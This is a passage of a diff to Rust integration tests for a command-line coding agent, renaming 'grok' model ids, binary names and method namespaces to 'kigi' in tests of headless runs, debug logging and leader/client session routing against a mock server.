+        vec![MockModelEntry::new("kigi-4.5")],
         "test-byok-secret-token",
     )
     .await
@@ -1325,7 +1325,7 @@ async fn test_headless_managed_config_byok_sends_authorized_requests() {
 
     let mut h = ConfigTestHarness::new(&server);
     std::fs::write(
-        h.grok_dir().join("managed_config.toml"),
+        h.kigi_dir().join("managed_config.toml"),
         format!(
             r#"
 [endpoints]
@@ -1337,10 +1337,10 @@ api_backend = "responses"
 base_url = "{url}"
 context_window = 500000
 env_key = "KIGI_TEST_BYOK_TOKEN"
-model = "grok-4.5"
+model = "kigi-4.5"
 
 [models]
-default = "grok-4.5"
+default = "kigi-4.5"
 "#,
             url = server.url()
         ),
@@ -1369,7 +1369,7 @@ default = "grok-4.5"
 #[ignore] // requires pre-built binary; run with --ignored
 async fn headless_reasoning_efforts_payload_parses_and_legacy_effort_rides_wire() {
     let server = MockInferenceServer::start_with_models(vec![
-        MockModelEntry::new("grok-4.5")
+        MockModelEntry::new("kigi-4.5")
             .with_api_backend("chat_completions")
             .with_supports_reasoning_effort(true)
             .with_reasoning_effort("xhigh")
@@ -1390,7 +1390,7 @@ async fn headless_reasoning_efforts_payload_parses_and_legacy_effort_rides_wire(
             "hi",
             "--yolo",
             "--model",
-            "grok-4.5",
+            "kigi-4.5",
             "--max-turns",
             "1",
         ],
@@ -1398,7 +1398,7 @@ async fn headless_reasoning_efforts_payload_parses_and_legacy_effort_rides_wire(
     )
     .await;
 
-    assert_headless_success(&result, "grok -p reasoning_efforts list", Some(&server));
+    assert_headless_success(&result, "kigi -p reasoning_efforts list", Some(&server));
     assert_no_crashes(&result.stderr);
 
     // The legacy effort scalar rides the chat-completions request unchanged.
@@ -1527,7 +1527,7 @@ async fn test_headless_timeout_exit_kills_pending_background_task() {
 
     assert_headless_success(
         &result,
-        "grok -p with pending background task",
+        "kigi -p with pending background task",
         Some(&server),
     );
     assert_no_crashes(&result.stderr);
@@ -1565,7 +1565,7 @@ async fn test_headless_no_wait_exit_kills_background_task() {
     )
     .await;
 
-    assert_headless_success(&result, "grok -p --no-wait-for-background", Some(&server));
+    assert_headless_success(&result, "kigi -p --no-wait-for-background", Some(&server));
     assert_no_crashes(&result.stderr);
 
     let pid = read_task_pid(&pid_file);
@@ -1630,7 +1630,7 @@ async fn test_headless_waits_for_short_background_task_and_exits_clean() {
     )
     .await;
 
-    assert_headless_success(&result, "grok -p with short background task", Some(&server));
+    assert_headless_success(&result, "kigi -p with short background task", Some(&server));
     assert_no_crashes(&result.stderr);
     assert!(
         marker.exists(),
diff --git a/crates/codegen/kigi-shell/tests/test_config_update_isolation.rs b/crates/codegen/kigi-shell/tests/test_config_update_isolation.rs
index 6083d65..8745349 100644
--- a/crates/codegen/kigi-shell/tests/test_config_update_isolation.rs
+++ b/crates/codegen/kigi-shell/tests/test_config_update_isolation.rs
@@ -70,7 +70,7 @@ async fn update_config_does_not_leak_requirements_into_user_config() {
     // --- Act ---
     // Simulate an unrelated config write (e.g. persisting a model preference).
     kigi_shell::util::config::update_config(|cfg| {
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
     })
     .await
     .expect("update_config should succeed");
@@ -89,7 +89,7 @@ async fn update_config_does_not_leak_requirements_into_user_config() {
     );
 
     // Also verify the unrelated write succeeded.
-    assert_eq!(user_cfg.models.default.as_deref(), Some("grok-3"));
+    assert_eq!(user_cfg.models.default.as_deref(), Some("kigi-3"));
 }
 
 #[tokio::test]
diff --git a/crates/codegen/kigi-shell/tests/test_debug_logging.rs b/crates/codegen/kigi-shell/tests/test_debug_logging.rs
index fcb5312..0421d62 100644
--- a/crates/codegen/kigi-shell/tests/test_debug_logging.rs
+++ b/crates/codegen/kigi-shell/tests/test_debug_logging.rs
@@ -1,6 +1,6 @@
 //! End-to-end tests for the `--debug` firehose file logging.
 //!
-//! Runs the built grok binary against the mock inference server with a
+//! Runs the built kigi binary against the mock inference server with a
 //! caller-owned `$KIGI_SHARE_DIR`, then inspects `~/.kigi/debug/`:
 //! - the `--debug` FLAG drives the firehose end to end through the master switch:
 //!   a live `agent` session launched with `--debug` writes a non-empty per-session
@@ -68,7 +68,7 @@ fn firehose_txt_files(home: &Path) -> Vec<PathBuf> {
         .collect()
 }
 
-/// Build a headless `grok -p` command with a pinned `$KIGI_SHARE_DIR` so the firehose
+/// Build a headless `kigi -p` command with a pinned `$KIGI_SHARE_DIR` so the firehose
 /// lands under `<home>/.kigi/debug`. Firehose env knobs are cleared so the test
 /// is hermetic regardless of the developer's shell.
 fn debug_cmd(
@@ -77,7 +77,7 @@ fn debug_cmd(
     workdir: &Path,
     extra: &[&str],
 ) -> tokio::process::Command {
-    let mut cmd = tokio::process::Command::new(grok_binary());
+    let mut cmd = tokio::process::Command::new(kigi_binary());
     cmd.args(["-p", "say hi", "--yolo", "--output-format", "json"])
         .args(extra)
         .arg("--cwd")
@@ -99,9 +99,9 @@ fn debug_cmd(
 
 /// Poll up to 50×100ms for the per-session firehose at `path` to become non-empty
 /// (its worker flushes asynchronously while the agent process stays alive), then
-/// assert it carries first-party (`xai_grok`) content. Panics with the captured
+/// assert it carries first-party (`xai_kigi`) content. Panics with the captured
 /// stderr tail if it never fills. Shared by the live-agent tests.
-async fn read_session_firehose_when_ready(path: &Path, client: &GrokStdioClient) -> String {
+async fn read_session_firehose_when_ready(path: &Path, client: &KigiStdioClient) -> String {
     let mut content = None;
     for _ in 0..50 {
         if let Ok(text) = std::fs::read_to_string(path)
@@ -121,7 +121,7 @@ async fn read_session_firehose_when_ready(path: &Path, client: &GrokStdioClient)
     // The firehose filter routes first-party crate logs here; assert that rather
     // than a bare non-empty check.
     assert!(
-        content.contains("xai_grok"),
+        content.contains("xai_kigi"),
         "session firehose {path:?} should contain first-party logs, got {} bytes",
         content.len()
     );
@@ -131,7 +131,7 @@ async fn read_session_firehose_when_ready(path: &Path, client: &GrokStdioClient)
 /// `--debug` (headless) runs cleanly: arg-parsing + the master switch + tracing
 /// init don't crash. Per-session routing + content is proven deterministically by
 /// the live `agent` tests (incl. `debug_flag_master_switch_enables_firehose`); a
-/// headless `grok -p` client is near-silent, so its lazily-opened firehose may
+/// headless `kigi -p` client is near-silent, so its lazily-opened firehose may
 /// legitimately stay empty here — file existence is intentionally not asserted.
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
@@ -145,7 +145,7 @@ async fn debug_flag_enables_firehose_without_crashing() {
     let cmd = debug_cmd(&server, home.path(), workdir.path(), &["--debug"]);
     let result = run_headless_with_cmd(cmd).await;
 
-    assert_headless_success(&result, "grok --debug headless", Some(&server));
+    assert_headless_success(&result, "kigi --debug headless", Some(&server));
     assert_no_crashes(&result.stderr);
 }
 
@@ -162,7 +162,7 @@ async fn no_debug_flag_writes_no_debug_dir() {
     let cmd = debug_cmd(&server, home.path(), workdir.path(), &[]);
     let result = run_headless_with_cmd(cmd).await;
 
-    assert_headless_success(&result, "grok headless (no --debug)", Some(&server));
+    assert_headless_success(&result, "kigi headless (no --debug)", Some(&server));
     assert!(
         firehose_txt_files(home.path()).is_empty(),
         "no firehose *.txt expected without --debug, found: {:?}",
@@ -186,7 +186,7 @@ async fn agent_session_writes_named_session_file() {
         let kigi_home = home.path().join(".kigi");
         let kigi_home_str = kigi_home.to_string_lossy().into_owned();
 
-        let client = GrokStdioClient::spawn_with_home_and_env(
+        let client = KigiStdioClient::spawn_with_home_and_env(
             &server,
             workdir.path(),
             home,
@@ -235,11 +235,11 @@ async fn debug_flag_master_switch_enables_firehose() {
         let kigi_home = home.path().join(".kigi");
         let kigi_home_str = kigi_home.to_string_lossy().into_owned();
 
-        // Drive `grok --debug agent stdio`: the master switch (which runs before
+        // Drive `kigi --debug agent stdio`: the master switch (which runs before
         // the agent dispatch) must be what enables the firehose — NOT a direct
         // KIGI_DEBUG_LOG env. The spawn helper clears inherited firehose toggles,
         // so the `--debug` flag is the only thing that can enable logging here.
-        let client = GrokStdioClient::spawn_with_home_env_and_args(
+        let client = KigiStdioClient::spawn_with_home_env_and_args(
             &server,
             workdir.path(),
             home,
@@ -292,7 +292,7 @@ async fn debug_file_flag_writes_single_file_and_bypasses_routing() {
     );
     let result = run_headless_with_cmd(cmd).await;
 
-    assert_headless_success(&result, "grok --debug-file", Some(&server));
+    assert_headless_success(&result, "kigi --debug-file", Some(&server));
     assert_no_crashes(&result.stderr);
     assert!(
         explicit.exists(),
@@ -310,7 +310,7 @@ async fn debug_file_flag_writes_single_file_and_bypasses_routing() {
 /// `KIGI_LOG_FILE=<path>` (no `--debug`) writes that exact file (back-compat).
 #[tokio::test]
 #[ignore] // requires pre-built binary; run with --ignored
-async fn grok_log_file_explicit_path_is_written() {
+async fn kigi_log_file_explicit_path_is_written() {
     let server = MockInferenceServer::start()
         .await
         .expect("start mock server");
@@ -322,7 +322,7 @@ async fn grok_log_file_explicit_path_is_written() {
     cmd.env("KIGI_LOG_FILE", &custom);
     let result = run_headless_with_cmd(cmd).await;
 
-    assert_headless_success(&result, "grok KIGI_LOG_FILE=path", Some(&server));
+    assert_headless_success(&result, "kigi KIGI_LOG_FILE=path", Some(&server));
     assert_no_crashes(&result.stderr);
     assert!(
         custom.exists(),
diff --git a/crates/codegen/kigi-shell/tests/test_doom_loop_recovery.rs b/crates/codegen/kigi-shell/tests/test_doom_loop_recovery.rs
index 4421c15..73e588f 100644
--- a/crates/codegen/kigi-shell/tests/test_doom_loop_recovery.rs
+++ b/crates/codegen/kigi-shell/tests/test_doom_loop_recovery.rs
@@ -518,7 +518,7 @@ async fn doomed_then_reasoning_only_empty_coexist() {
 
 /// `[doom_loop_recovery] enabled = true` in `config.toml` reaches the wire
 /// through the real binary: the session TURN request (marked by
-/// `x-grok-turn-idx`) carries the opt-in header. Aux side-queries the binary
+/// `x-kigi-turn-idx`) carries the opt-in header. Aux side-queries the binary
 /// also fires at `/v1/responses` (e.g. session-title generation) must NOT
 /// carry it — they collect without the actor's retry loop, so an armed
 /// abort there could only fail them, never resample. The recovery behavior
@@ -546,7 +546,7 @@ async fn headless_config_enables_doom_loop_check_header() {
     )
     .expect("write config.toml");
 
-    let mut cmd = tokio::process::Command::new(kigi_test_support::grok_binary());
+    let mut cmd = tokio::process::Command::new(kigi_test_support::kigi_binary());
     cmd.args(["-p", "say hi", "--yolo", "--output-format", "json"])
         .arg("--cwd")
         .arg(workdir.path())
@@ -568,11 +568,11 @@ async fn headless_config_enables_doom_loop_check_header() {
         .iter()
         .filter(|e| e.method == "POST" && e.path.contains("/responses"))
         .collect();
-    // The session turn carries `x-grok-turn-idx`; aux side-queries (session
+    // The session turn carries `x-kigi-turn-idx`; aux side-queries (session
     // title, etc.) do not.
     let (turns, aux): (Vec<_>, Vec<_>) = responses_posts
         .into_iter()
-        .partition(|e| e.header("x-grok-turn-idx").is_some());
+        .partition(|e| e.header("x-kigi-turn-idx").is_some());
     assert!(
         !turns.is_empty(),
         "no session turn POST /v1/responses logged; requests:\n{}",
@@ -580,7 +580,7 @@ async fn headless_config_enables_doom_loop_check_header() {
     );
     for turn in turns {
         assert_eq!(
-            turn.header("x-grok-doom-loop-check"),
+            turn.header("x-kigi-doom-loop-check"),
             Some("true"),
             "[doom_loop_recovery] enabled must reach the turn request header; requests:\n{}",
             server.request_log_summary()
@@ -588,7 +588,7 @@ async fn headless_config_enables_doom_loop_check_header() {
     }
     for side_query in aux {
         assert_eq!(
-            side_query.header("x-grok-doom-loop-check"),
+            side_query.header("x-kigi-doom-loop-check"),
             None::<&str>,
             "the session policy must not leak into aux side-query clients; requests:\n{}",
             server.request_log_summary()
diff --git a/crates/codegen/kigi-shell/tests/test_doomloop_capture.rs b/crates/codegen/kigi-shell/tests/test_doomloop_capture.rs
index 98d813a..c64c592 100644
--- a/crates/codegen/kigi-shell/tests/test_doomloop_capture.rs
+++ b/crates/codegen/kigi-shell/tests/test_doomloop_capture.rs
@@ -29,7 +29,7 @@ async fn responses_api_reasoning_only_is_classified_as_reasoning_only() {
         "/v1/responses",
         ScriptedResponse::sse(responses_api_reasoning_only_events(
             "let me think carefully about this",
-            "grok-test",
+            "kigi-test",
         )),
     );
     let client = create_test_client(&server.url(), ApiBackend::Responses);
diff --git a/crates/codegen/kigi-shell/tests/test_fork_session.rs b/crates/codegen/kigi-shell/tests/test_fork_session.rs
index c202cac..6a1eef3 100644
--- a/crates/codegen/kigi-shell/tests/test_fork_session.rs
+++ b/crates/codegen/kigi-shell/tests/test_fork_session.rs
@@ -18,7 +18,7 @@ async fn create_test_session(storage: &JsonlStorageAdapter, session_id: &str, cw
         cwd: cwd.to_string(),
     };
 
-    let model_id = acp::ModelId::new("grok-code-fast-1");
+    let model_id = acp::ModelId::new("kigi-code-fast-1");
     storage.init_session(&info, model_id).await.unwrap();
 
     // Add some chat messages
@@ -58,7 +58,7 @@ async fn test_fork_session_creates_new_session_with_parent_tracking() {
 
     let options = kigi_shell::session::storage::CopySessionOptions {
         parent_session_id: Some("source-session-123".to_string()),
-        new_model_id: Some("grok-3".to_string()),
+        new_model_id: Some("kigi-3".to_string()),
         target_prompt_index: None,
         ..Default::default()
     };
@@ -77,7 +77,7 @@ async fn test_fork_session_creates_new_session_with_parent_tracking() {
 
     assert_eq!(loaded.summary.info.id.to_string(), "fork-session-456");
     assert_eq!(loaded.summary.info.cwd, "/new/path");
-    assert_eq!(loaded.summary.current_model_id, acp::ModelId::new("grok-3"));
+    assert_eq!(loaded.summary.current_model_id, acp::ModelId::new("kigi-3"));
     assert_eq!(
         loaded.summary.parent_session_id,
         Some("source-session-123".to_string())
diff --git a/crates/codegen/kigi-shell/tests/test_global_extra_headers_e2e.rs b/crates/codegen/kigi-shell/tests/test_global_extra_headers_e2e.rs
index f56b51e..69ef7a4 100644
--- a/crates/codegen/kigi-shell/tests/test_global_extra_headers_e2e.rs
+++ b/crates/codegen/kigi-shell/tests/test_global_extra_headers_e2e.rs
@@ -1,6 +1,6 @@
 //! End-to-end test for the global `[models]` defaults.
 //!
-//! Runs the built grok binary against the mock inference server with a
+//! Runs the built kigi binary against the mock inference server with a
 //! caller-owned `$KIGI_SHARE_DIR` whose `config.toml` sets every global `[models]`
 //! default. Asserts the turn succeeds with all of them set and that the
 //! wire-observable one — `extra_headers` — reaches the `/v1/chat/completions`
@@ -47,7 +47,7 @@ stream_tool_calls = true
     )
     .expect("write config.toml");
 
-    let mut cmd = tokio::process::Command::new(grok_binary());
+    let mut cmd = tokio::process::Command::new(kigi_binary());
     cmd.args(["-p", "say hi", "--yolo", "--output-format", "json"])
         .arg("--cwd")
         .arg(workdir.path())
diff --git a/crates/codegen/kigi-shell/tests/test_leader_death_repro.rs b/crates/codegen/kigi-shell/tests/test_leader_death_repro.rs
index 51af1dd..22883f4 100644
--- a/crates/codegen/kigi-shell/tests/test_leader_death_repro.rs
+++ b/crates/codegen/kigi-shell/tests/test_leader_death_repro.rs
@@ -4,7 +4,7 @@
 //! Scenario (mirrors the field report "clients see `unknown session id` after
 //! the leader dies"):
 //!
-//! 1. Two stdio clients (`grok agent --leader stdio`) share one leader.
+//! 1. Two stdio clients (`kigi agent --leader stdio`) share one leader.
 //! 2. Each creates its own session and completes a prompt round-trip.
 //! 3. The leader is killed with SIGKILL (crash, no graceful shutdown).
 //! 4. Each client's bridge must reconnect (re-electing / spawning a fresh
diff --git a/crates/codegen/kigi-shell/tests/test_leader_stdio_integration.rs b/crates/codegen/kigi-shell/tests/test_leader_stdio_integration.rs
index e59e21b..2229b77 100644
--- a/crates/codegen/kigi-shell/tests/test_leader_stdio_integration.rs
+++ b/crates/codegen/kigi-shell/tests/test_leader_stdio_integration.rs
@@ -1024,7 +1024,7 @@ async fn test_session_new_valid_default_model_injected() {
         ClientMode::Stdio,
         ClientCapabilities {
             yolo_mode: false,
-            default_model: Some("grok-3-fast".to_string()),
+            default_model: Some("kigi-3-fast".to_string()),
             ..Default::default()
         },
     )
@@ -1039,7 +1039,7 @@ async fn test_session_new_valid_default_model_injected() {
 
     // modelId should be injected from default_model
     let meta = &json["params"]["_meta"];
-    assert_eq!(meta["modelId"], "grok-3-fast");
+    assert_eq!(meta["modelId"], "kigi-3-fast");
 
     client.cancel();
     cancel.cancel();
@@ -1216,7 +1216,7 @@ async fn test_two_clients_session_isolation() {
 
 /// Multi-client model switch: when one TUI client switches models on a
 /// session shared with another TUI client, the leader must fan the
-/// `x.ai/session_notification` (carrying the `ModelChanged` update) out
+/// `kigi/session_notification` (carrying the `ModelChanged` update) out
 /// to **every** subscriber of that session — not just the invoker — so
 /// the follower client mirrors the new model in its UI.
 ///
@@ -1241,7 +1241,7 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
     // Two TUIs connected to the same leader, sharing one session.
     let mut invoker = LeaderClient::connect(
         sock_path.clone(),
-        "grok-tui-A",
+        "kigi-tui-A",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -1249,7 +1249,7 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
     .unwrap();
     let mut follower = LeaderClient::connect(
         sock_path,
-        "grok-tui-B",
+        "kigi-tui-B",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -1289,7 +1289,7 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
     // Invoker sends `session/setModel` for the shared session.
     invoker
         .send(format!(
-            r#"{{"jsonrpc":"2.0","id":42,"method":"session/setModel","params":{{"sessionId":"{}","modelId":"grok-4"}}}}"#,
+            r#"{{"jsonrpc":"2.0","id":42,"method":"session/setModel","params":{{"sessionId":"{}","modelId":"kigi-4"}}}}"#,
             shared_sid
         ))
         .unwrap();
@@ -1297,7 +1297,7 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
     let json: serde_json::Value = serde_json::from_str(&received).unwrap();
     let setmodel_ns_id = json["id"].as_str().unwrap().to_string();
     assert_eq!(json["method"], "session/setModel");
-    assert_eq!(json["params"]["modelId"], "grok-4");
+    assert_eq!(json["params"]["modelId"], "kigi-4");
 
     // Simulate the agent's two outputs for a successful switch:
     //
@@ -1310,12 +1310,12 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
     // BEFORE the response in `model_switch::apply`, so it must arrive at
     // each subscriber's recv() first.
     let broadcast = format!(
-        r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"{}","update":{{"sessionUpdate":"model_changed","model_id":"grok-4","reasoning_effort":"high"}}}}}}"#,
+        r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"{}","update":{{"sessionUpdate":"model_changed","model_id":"kigi-4","reasoning_effort":"high"}}}}}}"#,
         shared_sid
     );
     response_tx.send(broadcast.clone()).unwrap();
     let response = format!(
-        r#"{{"jsonrpc":"2.0","result":{{"meta":{{"model":"grok-4"}}}},"id":"{}"}}"#,
+        r#"{{"jsonrpc":"2.0","result":{{"meta":{{"model":"kigi-4"}}}},"id":"{}"}}"#,
         setmodel_ns_id
     );
     response_tx.send(response).unwrap();
@@ -1335,10 +1335,10 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
         .expect("timeout waiting for broadcast on invoker")
         .expect("invoker channel closed");
     let inv1: serde_json::Value = serde_json::from_str(&invoker_msg1).unwrap();
-    assert_eq!(inv1["method"], "x.ai/session_notification");
+    assert_eq!(inv1["method"], "kigi/session_notification");
     assert_eq!(inv1["params"]["sessionId"], shared_sid);
     assert_eq!(inv1["params"]["update"]["sessionUpdate"], "model_changed");
-    assert_eq!(inv1["params"]["update"]["model_id"], "grok-4");
+    assert_eq!(inv1["params"]["update"]["model_id"], "kigi-4");
     assert_eq!(inv1["params"]["update"]["reasoning_effort"], "high");
 
     let invoker_msg2 = tokio::time::timeout(Duration::from_secs(2), invoker.recv())
@@ -1350,7 +1350,7 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
         inv2["id"], 42,
         "response id must be restored to the invoker's original"
     );
-    assert_eq!(inv2["result"]["meta"]["model"], "grok-4");
+    assert_eq!(inv2["result"]["meta"]["model"], "kigi-4");
 
     // --- Follower: must receive the broadcast (this is the fix — before
     // this notification existed, the follower's status bar / `/model`
@@ -1365,10 +1365,10 @@ async fn test_set_model_broadcasts_to_session_subscribers() {
         )
         .expect("follower channel closed");
     let f: serde_json::Value = serde_json::from_str(&follower_msg).unwrap();
-    assert_eq!(f["method"], "x.ai/session_notification");
+    assert_eq!(f["method"], "kigi/session_notification");
     assert_eq!(f["params"]["sessionId"], shared_sid);
     assert_eq!(f["params"]["update"]["sessionUpdate"], "model_changed");
-    assert_eq!(f["params"]["update"]["model_id"], "grok-4");
+    assert_eq!(f["params"]["update"]["model_id"], "kigi-4");
     assert_eq!(f["params"]["update"]["reasoning_effort"], "high");
 
     // Follower must NOT see the namespaced setModel response — the
@@ -1403,7 +1403,7 @@ async fn test_capabilities_not_injected_into_non_session_new() {
         ClientMode::Stdio,
         ClientCapabilities {
             yolo_mode: true,
-            default_model: Some("grok-3-fast".to_string()),
+            default_model: Some("kigi-3-fast".to_string()),
             ..Default::default()
         },
     )
@@ -1533,7 +1533,7 @@ async fn test_cancel_prompt_id_meta_passes_through_with_two_clients() {
 
     let client_a = LeaderClient::connect(
         sock_path.clone(),
-        "grok-pager",
+        "kigi-pager",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -1541,7 +1541,7 @@ async fn test_cancel_prompt_id_meta_passes_through_with_two_clients() {
     .unwrap();
     let client_b = LeaderClient::connect(
         sock_path,
-        "grok-pager",
+        "kigi-pager",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -1611,14 +1611,14 @@ async fn test_extension_method_roundtrip() {
     .unwrap();
 
     // Send an extension method call (e.g., fuzzy search open)
-    let ext_call = r#"{"jsonrpc":"2.0","id":50,"method":"_x.ai/search/fuzzy/open","params":{"sessionId":"sess-123","hidden":false}}"#;
+    let ext_call = r#"{"jsonrpc":"2.0","id":50,"method":"_kigi/search/fuzzy/open","params":{"sessionId":"sess-123","hidden":false}}"#;
     client.send(ext_call.to_string()).unwrap();
 
     let received = acp_rx.recv().await.unwrap();
     let json: serde_json::Value = serde_json::from_str(&received).unwrap();
 
     // Method should be preserved, ID should be namespaced
-    assert_eq!(json["method"], "_x.ai/search/fuzzy/open");
+    assert_eq!(json["method"], "_kigi/search/fuzzy/open");
     let namespaced_id = json["id"].as_str().unwrap();
     assert!(namespaced_id.contains(ID_NAMESPACE_SEP));
     assert!(namespaced_id.ends_with("|50"));
@@ -1795,7 +1795,7 @@ async fn test_session_ownership_cleanup_on_disconnect() {
     // in sync. Also verifies the eviction was actually sent.
     let eviction = acp_rx.recv().await.unwrap();
     let eviction_json: serde_json::Value = serde_json::from_str(&eviction).unwrap();
-    assert_eq!(eviction_json["method"], "x.ai/internal/evict_sessions");
+    assert_eq!(eviction_json["method"], "kigi/internal/evict_sessions");
 
     // Connect a NEW client — server should still be running
     let mut client2 = LeaderClient::connect(
@@ -1824,7 +1824,7 @@ async fn test_session_ownership_cleanup_on_disconnect() {
     // client2 should NOT receive the dead-session notification.
     // Send a second notification without a sessionId — this one SHOULD
     // arrive via fallback routing, proving client2 is alive and connected.
-    let probe = r#"{"jsonrpc":"2.0","method":"x.ai/probe","params":{"ping":true}}"#;
+    let probe = r#"{"jsonrpc":"2.0","method":"kigi/probe","params":{"ping":true}}"#;
     response_tx.send(probe.to_string()).unwrap();
 
     let recv = tokio::time::timeout(Duration::from_secs(2), client2.recv())
@@ -1857,7 +1857,7 @@ async fn test_code_nav_capable_client_gets_true_injected_into_session_new() {
     // Web client that advertised code-nav capability during registration.
     let web_client = LeaderClient::connect(
         sock_path,
-        "grok-web",
+        "kigi-web",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: true,
@@ -1894,7 +1894,7 @@ async fn test_non_code_nav_client_gets_false_injected_into_session_new() {
     // TUI client with no code-nav capability.
     let tui_client = LeaderClient::connect(
         sock_path,
-        "grok-tui",
+        "kigi-tui",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: false,
@@ -1933,7 +1933,7 @@ async fn test_leader_code_nav_client_isolation() {
     // Web client with code-nav capability.
     let web_client = LeaderClient::connect(
         sock_path.clone(),
-        "grok-web",
+        "kigi-web",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: true,
@@ -1946,7 +1946,7 @@ async fn test_leader_code_nav_client_isolation() {
     // TUI client without code-nav capability.
     let tui_client = LeaderClient::connect(
         sock_path,
-        "grok-tui",
+        "kigi-tui",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: false,
@@ -1994,7 +1994,7 @@ async fn test_code_nav_capability_injected_into_session_load() {
 
     let web_client = LeaderClient::connect(
         sock_path,
-        "grok-web",
+        "kigi-web",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: true,
@@ -2021,7 +2021,7 @@ async fn test_code_nav_capability_injected_into_session_load() {
     cancel.cancel();
 }
 
-/// Verify that an `x.ai/code/status` extension request is forwarded to the
+/// Verify that an `kigi/code/status` extension request is forwarded to the
 /// agent with the correct method, sessionId, and cwd in the params.
 ///
 /// This tests the routing boundary between leader and agent for the
@@ -2033,7 +2033,7 @@ async fn test_code_status_ext_request_forwarded_to_agent() {
 
     let web_client = LeaderClient::connect(
         sock_path,
-        "grok-web",
+        "kigi-web",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: true,
@@ -2043,15 +2043,15 @@ async fn test_code_status_ext_request_forwarded_to_agent() {
     .await
     .unwrap();
 
-    // Send x.ai/code/status with a sessionId — the leader must forward it to the agent.
-    let status_req = r#"{"jsonrpc":"2.0","id":42,"method":"extensions/ext","params":{"method":"x.ai/code/status","params":{"sessionId":"sess-web-1","cwd":"/repo"}}}"#;
+    // Send kigi/code/status with a sessionId — the leader must forward it to the agent.
+    let status_req = r#"{"jsonrpc":"2.0","id":42,"method":"extensions/ext","params":{"method":"kigi/code/status","params":{"sessionId":"sess-web-1","cwd":"/repo"}}}"#;
     web_client.send(status_req.to_string()).unwrap();
 
     let forwarded = acp_rx.recv().await.unwrap();
     let json: serde_json::Value = serde_json::from_str(&forwarded).unwrap();
 
     assert_eq!(json["method"], "extensions/ext");
-    assert_eq!(json["params"]["method"], "x.ai/code/status");
+    assert_eq!(json["params"]["method"], "kigi/code/status");
     assert_eq!(json["params"]["params"]["sessionId"], "sess-web-1");
     assert_eq!(json["params"]["params"]["cwd"], "/repo");
 
@@ -2284,7 +2284,7 @@ async fn test_connect_waits_for_leader_ready() {
     let connect_start = tokio::time::Instant::now();
     let mut client = LeaderClient::connect(
         sock_path,
-        "grok-tui",
+        "kigi-tui",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -2337,7 +2337,7 @@ async fn test_connect_waits_for_leader_ready() {
 
 // ── Version mismatch notification ────────────────────────────────────
 
-/// Integration test: a connected client receives `x.ai/leader/version_mismatch`
+/// Integration test: a connected client receives `kigi/leader/version_mismatch`
 /// when its `client_version` differs from the leader's version.
 ///
 /// Uses `leader_version_override` so the test bypasses the `"unknown"` constant
@@ -2406,7 +2406,7 @@ async fn test_version_mismatch_notification_sent_to_client() {
         .expect("channel closed");
 
     let json: serde_json::Value = serde_json::from_str(&msg).unwrap();
-    assert_eq!(json["method"], "x.ai/leader/version_mismatch");
+    assert_eq!(json["method"], "kigi/leader/version_mismatch");
     assert_eq!(json["params"]["clientVersion"], "test-client-0.1.157");
     assert_eq!(json["params"]["leaderVersion"], "test-leader-0.1.150");
 
@@ -2729,7 +2729,7 @@ async fn test_initialize_injected_when_not_first_message() {
 
     let client = LeaderClient::connect(
         sock_path,
-        "grok-tui",
+        "kigi-tui",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -2762,7 +2762,7 @@ async fn test_initialize_injected_when_not_first_message() {
         .and_then(|v| v.as_str());
     assert_eq!(
         client_id,
-        Some("grok-tui"),
+        Some("kigi-tui"),
         "clientIdentifier must be injected into initialize even when it is not the first message"
     );
 
@@ -2782,7 +2782,7 @@ async fn test_leader_code_nav_isolation_end_to_end() {
     // Web client with code-nav capability.
     let web_client = LeaderClient::connect(
         sock_path.clone(),
-        "grok-web",
+        "kigi-web",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: true,
@@ -2795,7 +2795,7 @@ async fn test_leader_code_nav_isolation_end_to_end() {
     // TUI client without code-nav capability.
     let tui_client = LeaderClient::connect(
         sock_path,
-        "grok-tui",
+        "kigi-tui",
         ClientMode::Stdio,
         ClientCapabilities {
             code_nav_enabled: false,
@@ -2824,13 +2824,13 @@ async fn test_leader_code_nav_isolation_end_to_end() {
         serde_json::json!(false)
     );
 
-    // Web client sends x.ai/code/status (the primary non-starting code-nav call).
-    let status_with_session = r#"{"jsonrpc":"2.0","id":10,"method":"extensions/ext","params":{"method":"x.ai/code/status","params":{"sessionId":"web-session","cwd":"/repo"}}}"#;
+    // Web client sends kigi/code/status (the primary non-starting code-nav call).
+    let status_with_session = r#"{"jsonrpc":"2.0","id":10,"method":"extensions/ext","params":{"method":"kigi/code/status","params":{"sessionId":"web-session","cwd":"/repo"}}}"#;
     web_client.send(status_with_session.to_string()).unwrap();
 
     let status_fwd = acp_rx.recv().await.unwrap();
     let status_json: serde_json::Value = serde_json::from_str(&status_fwd).unwrap();
-    assert_eq!(status_json["params"]["method"], "x.ai/code/status");
+    assert_eq!(status_json["params"]["method"], "kigi/code/status");
     assert_eq!(status_json["params"]["params"]["sessionId"], "web-session");
 
     web_client.cancel();
@@ -3146,7 +3146,7 @@ async fn test_hung_agent_leaves_transport_healthy_and_forwards_cancel() {
     assert_eq!(cancel_json["method"], "session/cancel");
 
     // Unrelated traffic still round-trips on the same connection.
-    let probe = r#"{"jsonrpc":"2.0","method":"x.ai/probe","params":{"ping":true}}"#;
